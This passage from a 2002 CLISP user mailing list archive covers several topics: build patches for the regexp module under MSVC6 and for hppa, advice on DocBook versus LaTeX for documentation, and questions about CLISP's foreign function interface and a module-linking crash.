if some = boycott applies. I can provide a Win.Zip containing an augmented lisp.exe, regexp.fas = (+lisp) and the below diffs for CLISP-2.28 using MS-VC6 if somebody = tells me where to put that. Though I don't know if that would be a = violation of COPYRIGHT. Or the current CLISP-2.28 binaries were = updated. Regards, J=F6rg H=F6hle. ++++++++++++++ diff modules/regexp/ gdiff -c3 ../../orig/ regex.c *** ../../orig/regex.c Wed Jul 22 22:22:47 1998 --- regex.c Fri Mar 22 15:58:38 2002 *************** *** 211,218 **** --- 211,223 ---- #if HAVE_ALLOCA_H #include #else /* not __GNUC__ or HAVE_ALLOCA_H */ + #ifdef _MSC_VER /* Microsoft VC */ + #include + #define alloca _alloca + #else #ifndef _AIX /* Already did AIX, up at the top. */ char *alloca (); + #endif /* not MS-VC */ #endif /* not _AIX */ #endif /* not HAVE_ALLOCA_H */=20 #endif /* not __GNUC__ */ gdiff -c3 ../../orig/ regexi.c *** ../../orig/regexi.c Wed Jul 22 22:22:50 1998 --- regexi.c Fri Mar 22 15:28:22 2002 *************** *** 2,10 **** /* Bruno Haible 14.4.1995 */ =20 #include /* regex.h needs this */ #include "regex.h" =20 - #include /* declare malloc(), free() */ =20 int mregcomp (ppreg,pattern,cflags) regex_t* * ppreg; --- 2,10 ---- /* Bruno Haible 14.4.1995 */ =20 #include /* regex.h needs this */ + #include /* declare malloc(), free() */ #include "regex.h" =20 =20 int mregcomp (ppreg,pattern,cflags) regex_t* * ppreg; ++++++++++++++ hand-written modules/regexp/makefile for MSVC6 # I believe it should be a generated file # Adapted from win32msvc/makefile.msvc6 and modules/regexp/Makefile.in LISPSRCDIR =3D ..\..\src INCLUDES=3D$(LISPSRCDIR) CC =3D cl $(MFLAGS) -G5 -Os -Oy -Ob1 -Gs -Gf -Gy CFLAGS =3D -DHAVE_STRING_H -DSTDC_HEADERS !if !defined(MFLAGS) MFLAGS=3D !endif MSVCDIR =3D "C:/Programme/Microsoft Visual Studio/VC98" MAKE =3D nmake CLISP =3D $(LISPSRCDIR)\lisp0.exe -M $(LISPSRCDIR)\lispinit.mem -B = $(LISPSRCDIR) -Efile UTF-8 -norc -q all : regexp.obj regexi.obj regex.obj regexp.c : regexp.lisp $(CLISP) -c regexp.lisp regexp.obj : regexp.c $(CC) $(CFLAGS) -I$(INCLUDES) -c regexp.c regexi.obj : regexi.c regex.h $(CC) $(CFLAGS) -c regexi.c regex.obj : regex.c regex.h $(CC) $(CFLAGS) -I. -c regex.c # Make a module clisp-module : all From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 06:36:26 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qEXH-0005D6-00 for ; Wed, 27 Mar 2002 06:36:24 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:34:48 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 15:35:51 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Seeking place for CLISP documentation MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 06:37:04 2002 X-Original-Date: Wed, 27 Mar 2002 15:35:49 +0100 Hi, Reini Urban wrote: > what about posting it here at first, to let people check its > usefulness. Well, I started writing using MS-Word, since that's what was available on my wife's PeeCee. That probably was a mistake. MS-word says the file has 24333 characters, but saves to 66KB.doc or 160KB .html, which I'll not send to a mailing list. Acrobat .pdf is also 148KB. I'd be very happy to use another format. But please don't talk me into Linux-specific tools. I have no access to a Linux box. I thought about Texinfo since o that's what I know. o And I have NTEmacs. o And it provides automatic indices, which I wouldn't like to write in (X)HTML by hand. o And I'm satisfied with texi2html. (I have access to Solaris boxes). But I'm wondering whether I should just use LaTeX. Any other options? Thanks for your help, Jorg Hohle From samuel.steingold@verizon.net Wed Mar 27 06:59:17 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qEtQ-0002CU-00 for ; Wed, 27 Mar 2002 06:59:16 -0800 Received: from gnu.org ([151.203.226.21]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327145913.EKWB16955.out008.verizon.net@gnu.org>; Wed, 27 Mar 2002 08:59:13 -0600 To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] iconv References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:00:23 2002 X-Original-Date: 27 Mar 2002 09:59:36 -0500 > * In message > * On the subject of "[clisp-list] iconv" > * Sent on Wed, 27 Mar 2002 03:08:08 +0000 > * Honorable Will Newton writes: > > Is it still necessary for clisp to ship with it's own iconv lib? this is a very involved issue actually. on a glibc2.2 system, definitely _no_. on most other systems, probably yes. Unfortunately, IIUC, one cannot check whether the libc iconv is usable using autoconf, but only whether it is present. Bruno promised to address this issue a year ago, but he is still busy with other things. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! I don't have an attitude problem. You have a perception problem. From samuel.steingold@verizon.net Wed Mar 27 07:16:00 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qF9Z-0005eU-00 for ; Wed, 27 Mar 2002 07:15:58 -0800 Received: from gnu.org ([151.203.226.21]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327151556.GDUE8115.out016.verizon.net@gnu.org>; Wed, 27 Mar 2002 09:15:56 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 47 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:16:27 2002 X-Original-Date: 27 Mar 2002 10:16:19 -0500 > * In message > * On the subject of "[clisp-list] Seeking place for CLISP documentation" > * Sent on Wed, 27 Mar 2002 14:51:02 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > I'd be happy to know if there's some place where to put extra > documentation, "howto" or whatever about CLISP. For some things I've > written, impnotes is not the correct place. Impnotes _is_ the correct place for all documentation about CLISP. Using DocBook/XML will save you a lot of work. Impnotes were originally a plain text file. I re-wrote it in HTML in parallel with CLHS and then converted to DocBook/XML. This was a lot of effort, but I do not regret it. It is easy to learn and you will not regret it. DocBook/XML is _the_ way to go if you want to produce logically structured interlinked documents. You will be able to produce stand-alone documents as well as documents linked into impnotes. > Sometimes I thought about using parts of Cliki (ww.telent.net/cliki/), > since I like "maintainerless" places (appropriate for CLISP FAQ?). CLISP FAQ should be on CLISP pages, not Cliki. > So where can I put up things? If you listen to me and use DocBook/XML, you should put the DocBook/XML files into CLISP/doc/ and the generated HTML to the CLISP pages on clisp.cons.org and mirrors (for details, let's move the discussion to ). > For example, I have written an article about extending CLISP via > external modules, a tiny part of which describes how to use the regexp > module with MS-Windoos (see another mail from today). Fire up your emacs and write it in DocBook/XML. Then get xerxes and look at CLISP/doc/Makefile for hints on how to produce HTML from it. You can also produce PDF and other formats. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. From samuel.steingold@verizon.net Wed Mar 27 07:18:41 2002 Received: from out016pub.verizon.net ([206.46.170.92] helo=out016.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qFCC-00069W-00 for ; Wed, 27 Mar 2002 07:18:40 -0800 Received: from gnu.org ([151.203.226.21]) by out016.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020327151838.GEFW8115.out016.verizon.net@gnu.org>; Wed, 27 Mar 2002 09:18:38 -0600 To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] augmenting testsuite as bugs are solved (was: Confused by `requir e', *load-paths* and clisp 2.28) References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:19:03 2002 X-Original-Date: 27 Mar 2002 10:19:01 -0500 > * In message > * On the subject of "[clisp-list] augmenting testsuite as bugs are solved (was: Confused by `requir e', *load-paths* and clisp 2.28)" > * Sent on Wed, 27 Mar 2002 15:09:44 +0100 > * Honorable "Hoehle, Joerg-Cyril" writes: > > Sam steingold wrote: > > 2. this bug slipped through because, apparently, no pretester uses > > REQUIRE. I hope this will inspire you to participate in the next > > pre-test. > > Wouldn't the better suggestion be the addition of a few lines to the > testsuite, so as to automate testing instead of testers? Who'd be > willing to do so for the now solved bug in REQUIRE? whenever I fix a bug, I put a test for it into the testsuite. nevertheless, it's hard to test _all_ the functionality in the testsuite. patches are welcome. > #+(and CLISP FFI) > (typep #\a 'ffi:foreign-address) > NIL > (multiple-value-list (subtypep 'ffi:foreign-function 'function)) > (T T) thanks. > Is the testsuite separately maintained (like ffcall)? no, but there are several derived testsuites, like CLOCC/stc/tools/ansi-test -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! The difference between genius and stupidity is that genius has its limits. From jdoolin@cs.ohiou.edu Wed Mar 27 07:24:51 2002 Received: from oak.cats.ohiou.edu ([132.235.8.44]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qFI8-0007iw-00 for ; Wed, 27 Mar 2002 07:24:48 -0800 Received: from dhcp-166-025.east-green.ohiou.edu (dhcp-166-025.east-green.ohiou.edu [132.235.166.25]) by oak.cats.ohiou.edu (8.12.0.Beta19/8.12.0.Beta19) with ESMTP id g2RFMpNk173131 for ; Wed, 27 Mar 2002 10:22:51 -0500 (EST) Subject: Re: [clisp-list] Seeking place for CLISP documentation From: Jeremy Doolin To: clisp-list@lists.sourceforge.net In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-I7nMhkRsOPy6T4gBbJ8Z" X-Mailer: Ximian Evolution 1.0.3.99 Message-Id: <1017242681.4010.29.camel@zeus> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:25:09 2002 X-Original-Date: 27 Mar 2002 10:24:41 -0500 --=-I7nMhkRsOPy6T4gBbJ8Z Content-Type: text/plain Content-Transfer-Encoding: quoted-printable > But I'm wondering whether I should just use LaTeX. This would be my suggestion. After all, it can be used to produce .pdf or postscript (and as far as I know, ghostscript 7.0 will produce searchable pdfs). =20 Jeremy Doolin -- May all your disgraces be private. --=-I7nMhkRsOPy6T4gBbJ8Z Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8oeQ5B8Bt+2K9+/4RAtX5AJ9hT5DWGuRTkFpBrkuMWJEOgEqbGACfdZfS HWNP3zzdSvCx9Oe2+nWTIbQ= =GmH9 -----END PGP SIGNATURE----- --=-I7nMhkRsOPy6T4gBbJ8Z-- From will@misconception.org.uk Wed Mar 27 07:50:16 2002 Received: from mail3.svr.pol.co.uk ([195.92.193.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qFgj-0004Qb-00 for ; Wed, 27 Mar 2002 07:50:14 -0800 Received: from modem-503.arcanine.dialup.pol.co.uk ([217.135.22.247] helo=there) by mail3.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16qFge-0000iL-00 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 15:50:09 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net X-Mailer: KMail [version 1.3.2] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [clisp-list] Another hppa build fix Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:51:03 2002 X-Original-Date: Wed, 27 Mar 2002 15:45:22 +0000 Another simple hppa build fix. It still does not build right for me here, I am working on it. --- clisp-2.28.old/src/lispbibl.d Fri Mar 15 18:21:37 2002 +++ clisp-2.28/src/lispbibl.d Wed Mar 27 15:43:29 2002 @@ -194,7 +194,7 @@ #endif #endif #endif - #if defined(HP8XX) || defined(hppa) || defined(__hppa) + #if defined(HP8XX) || defined(hppa) || defined(__hppa) || defined(__hppa__) #define HPPA #endif #if defined(m88000) || defined(__m88k__) From william.newman@airmail.net Wed Mar 27 07:54:32 2002 Received: from mx5.airmail.net ([209.196.77.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qFku-0005KF-00 for ; Wed, 27 Mar 2002 07:54:32 -0800 Received: from covert.black-ring.iadfw.net ([209.196.123.142]) by mx5.airmail.net with smtp (Exim 3.33 #1) id 16qFks-000Hua-00 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 09:54:30 -0600 Received: from balefire.localdomain from [207.136.48.169] by covert.black-ring.iadfw.net (/\##/\ Smail3.1.30.16 #30.55) with esmtp for sender: id ; Wed, 27 Mar 2002 09:54:49 -0600 (CST) Received: (from newman@localhost) by balefire.localdomain (8.11.3/8.11.3) id g2RFcF920586; Wed, 27 Mar 2002 09:38:15 -0600 (CST) From: William Harold Newman To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Seeking place for CLISP documentation Message-ID: <20020327153815.GI6051@balefire.localdomain> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 07:55:03 2002 X-Original-Date: Wed, 27 Mar 2002 09:38:15 -0600 On Wed, Mar 27, 2002 at 03:35:49PM +0100, Hoehle, Joerg-Cyril wrote: > Reini Urban wrote: > > what about posting it here at first, to let people check its > > usefulness. > Well, I started writing using MS-Word, since that's what was available on my wife's PeeCee. That probably was a mistake. Yes. I worked on a (commercial) project which used MS Word for technical documentation. It's not impossible, otherwise it wouldn't be so common, but it's fruitful source of nuisances. * You can't easily see the structure of documents. MS Word does support abstract structure in documents, so it's not just "what you see is all you get". But if your maintainers aren't careful always to use the abstract structure, it's hard to tell, because e.g. text in a particular place in a particular font looks very much like a section header. So while MS Word tries to support the notion of not just printing the document but exporting it to other formats (especially HTML) it's hard for it to do it nearly as cleanly as a more abstract markup language like DocBook. (In practice it works OK if you export the document to every format you care about before you proof-read it, but that's a chore even for two formats.) * You can put the documents under change control (e.g. CVS) but you can't easily get meaningful diffs between versions. * You can't easily auto-generate documents. It's easy to make a script to generate a valid DocBook document describing an IDL specification or a memory map or a table of tag bits. Making a Microsoft Word file is harder. * In a company which requires MS products for everyone, it's not an immediate issue, but in a more open situation (like open source! but also even the same company over a period of decades) ensuring that everyone always has software to read the proprietary slightly flaky format is a problem. (At the company I was at, I didn't see this for MS Word because MS was dominant, but I did see it for documents in the older proprietary formats the company had used before MS became dominant, and I expect it'll show up again when MS isn't dominant.) > MS-word says the file has 24333 characters, but saves to 66KB.doc or 160KB .html, which I'll not send to a mailing list. Acrobat .pdf is also 148KB. > > I'd be very happy to use another format. But please don't talk me into Linux-specific tools. I have no access to a Linux box. DocBook is common for open source documentation. I've been pretty happy with it (for SBCL). I don't know about using it on MS Windows, but I'm under the impression that the tools have been ubiquitous for some years, so I'm 98% sure it's possible. I can't argue very effectively against MS Word for nontechnical people, since knowledge of how to use Word is so common, and since WYSIWYG is so much more popular than markup with compilers (like LaTeX and DocBook) which emit error messages. But for technical people, DocBook seems like a clear win. Someone who already understands compilers (concepts like source code and block structure, and basic skills for fixing problems which correspond to error messages) should be able to write DocBook documents after studying examples or tutorials for about 30 minutes. And the exportability, portability, change control, and script-friendliness advantages are significant. > I thought about Texinfo since > o that's what I know. > o And I have NTEmacs. > o And it provides automatic indices, which I wouldn't like to write in (X)HTML by hand. > o And I'm satisfied with texi2html. (I have access to Solaris boxes). > But I'm wondering whether I should just use LaTeX. > Any other options? I don't know enough about texinfo to have a useful opinion. I liked LaTeX a lot ten years ago, and I'd still be happy to use it for a document with enough equations that it would be hard to represent except as a printed document or bitmap. But for documents that can usefully be exported to de facto portable HTML, I'd go with something more abstract, like DocBook. LaTeX supports both abstract markup like "this is a paragraph" and concrete markup like "give me a 6 em break here and switch to 14 point font". If I understand correctly, you'd need to manually avoid using the concrete markup if you want to translate correctly to HTML. Instead of carefully limiting yourself to a subset of LaTeX, why not use a language which is designed for this, and which can be automatically translated into TeX as needed? -- William Harold Newman "Now it's a couple of guys sitting in a living room with laptops. (And jeans turn out not to be the last word in informality.)" -- PGP key fingerprint 85 CE 1C BA 79 8D 51 8C B9 25 FB EE E0 C3 E5 7C From dan.stanger@ieee.org Wed Mar 27 08:03:34 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qFte-0007KA-00 for ; Wed, 27 Mar 2002 08:03:34 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g2RG3Fk28667 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 09:03:15 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200203271603.g2RG3Fk28667@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] question about ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:04:08 2002 X-Original-Date: Wed, 27 Mar 2002 09:03:15 -0700 (MST) Is the construction (FFI:C-PTR nil) equivalent to FFI:C-POINTER? Thank you, Dan Stanger From Christian.Schuhegger@cern.ch Wed Mar 27 08:15:27 2002 Received: from smtp3.cern.ch ([137.138.131.164]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qG57-0001F3-00 for ; Wed, 27 Mar 2002 08:15:25 -0800 Received: from cern.ch (pcitco48.cern.ch [137.138.62.140]) by smtp3.cern.ch (8.12.1/8.12.1) with ESMTP id g2RGFGrD017354; Wed, 27 Mar 2002 17:15:16 +0100 (MET) X-Authentication-Warning: smtp3.cern.ch: Host pcitco48.cern.ch [137.138.62.140] claimed to be cern.ch Message-ID: <3CA1F015.9CE89CAB@cern.ch> From: Christian Schuhegger X-Mailer: Mozilla 4.77 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] search sequence for loaded files Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:16:07 2002 X-Original-Date: Wed, 27 Mar 2002 17:15:17 +0100 hello, i am just trying to write a makefile for a project of mine and found out that the pwd is always searched before any other directories in custom:*load-paths*. how can i change this search sequence? many thanks for any hints! -- Christian Schuhegger From peter.wood@worldonline.dk Wed Mar 27 08:25:27 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGEn-0003Qi-00 for ; Wed, 27 Mar 2002 08:25:25 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A7F52B537 for ; Wed, 27 Mar 2002 17:25:21 +0100 (CET) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g2RGCAQ00536; Wed, 27 Mar 2002 17:12:10 +0100 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] def-call-in problem Message-ID: <20020327171210.A171@localhost.localdomain> References: <20020326153501.A1708@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020326153501.A1708@localhost.localdomain>; from peter.wood@worldonline.dk on Tue, Mar 26, 2002 at 03:35:01PM +0100 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:26:05 2002 X-Original-Date: Wed, 27 Mar 2002 17:12:10 +0100 On Tue, Mar 26, 2002 at 03:35:01PM +0100, I wrote: > Hi, > > Using 2.28 (well, CVS, actually) on Gnu/Linux: > > When I try to compile the following test, clisp-link drops me into > clisp with the error message: > > *** - The value of *terminal-io* was not a stream: #. It has been changed to #. > > I have _NO_ idea why terminal streams should be involved in compiling > ffi stuff. This is just a test, but I am getting the same error (plus > a nice consistent sigsegv) in a module I am working on. > > ------- > ;alpha.lisp > > (defpackage "TESTCI" (:use "FFI" "LISP")) > > (in-package "TESTCI") > > (def-call-in decider > (:arguments (txt c-string)) > (:return-type int)) > > (def-call-out test_decider > (:arguments) > (:return-type int)) > > (defun test () > (test_decider)) > > (defun decider (string) > (if (string= string "xxx") > 1 > 0)) > ;end > ----------- > > /*beta.c*/ > > extern int decider (char *txt); > > int test_decider(); > > int test_decider() { > int rv; > rv = decider("xyz"); > return rv; > } > > /*end*/ > ------------ > > I am issuing these commands in a directory with linkkit and base. > > clisp-link create-module-set test alpha.c > gcc -c beta.c > cd test > ln -s ../beta.o beta.o > #add beta.o to NEW_LIBS and NEW_FILES in link.sh > cd .. > ./base/lisp.run -M base/lispinit.mem -c alpha.lisp > clisp-link add-module-set test base base+test > > everything goes ok, except the final command results in the above > mentioned error. > > What am I doing wrong? > How does *terminal-io* come into it? > ????????????? > > Regards, > Peter > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > Hi Has anyone tried it? I was using a 'full' directory renamed to 'base'. Now I tried it with the old base directory, and I _also_ get the sigsegv which I have been getting in my own module. Hah, hah. What gives? Regards, Peter From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 08:34:41 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGNj-0005Fx-00 for ; Wed, 27 Mar 2002 08:34:40 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 17:33:07 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 17:34:31 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] question about ffi: (c-ptr nil) vs c-pointer MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:35:11 2002 X-Original-Date: Wed, 27 Mar 2002 17:34:28 +0100 dan.stanger wrote: > Is the construction (FFI:C-PTR nil) equivalent to FFI:C-POINTER? No, it cannot be. C_POINTER is really opaque. It will even create an FOREIGN-ADDRESS for a NULL pointer. While C-PTR rejects that. Also, C-PTR NIL cannot create a Lisp object of type FOREIGN-ADDRESS. BTW, I never used NIL as a foreign type. Could you provide an example where you think it is useful? Thanks, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Mar 27 08:39:49 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGSh-0006Gz-00 for ; Wed, 27 Mar 2002 08:39:47 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 17:38:15 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 27 Mar 2002 17:39:39 +0100 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] def-call-in problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Mar 27 08:40:10 2002 X-Original-Date: Wed, 27 Mar 2002 17:39:37 +0100 Peter Wood wrote: > > Using 2.28 (well, CVS, actually) on Gnu/Linux: > > *** - The value of *terminal-io* was not a stream: # terminal-stream>. It has been changed to #. You're using CVS CLISP. Are you sure it's ok?, esp. the dribble change? The message appears when *terminal-io* was closed (for whatever reason) and when later on, an attempt is made to use it. For example, all ancient streams are closed when an image restarts. Then CLISP reinitializes *terminal-io* to a new terminal stream. > Has anyone tried it? Not yet. And I have no CLISP on UNIX. So on Ms-Windows, I wouldn't run the clisp-link script. Regards, Jorg Hohle. From dan.stanger@ieee.org Wed Mar 27 08:50:56 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16qGdU-0000Bm-00 for ; Wed, 27 Mar 2002 08:50:56 -0800 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g2RGopq00923 for clisp-list@lists.sourceforge.net; Wed, 27 Mar 2002 09:50:51 -0700 (MST) From: dan.stanger@ieee.org Message-Id: <200203271650.g2RGopq00923@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] c-ptr nil vs c-pointer Sender: clisp-list-admin@lists.sourceforge.net 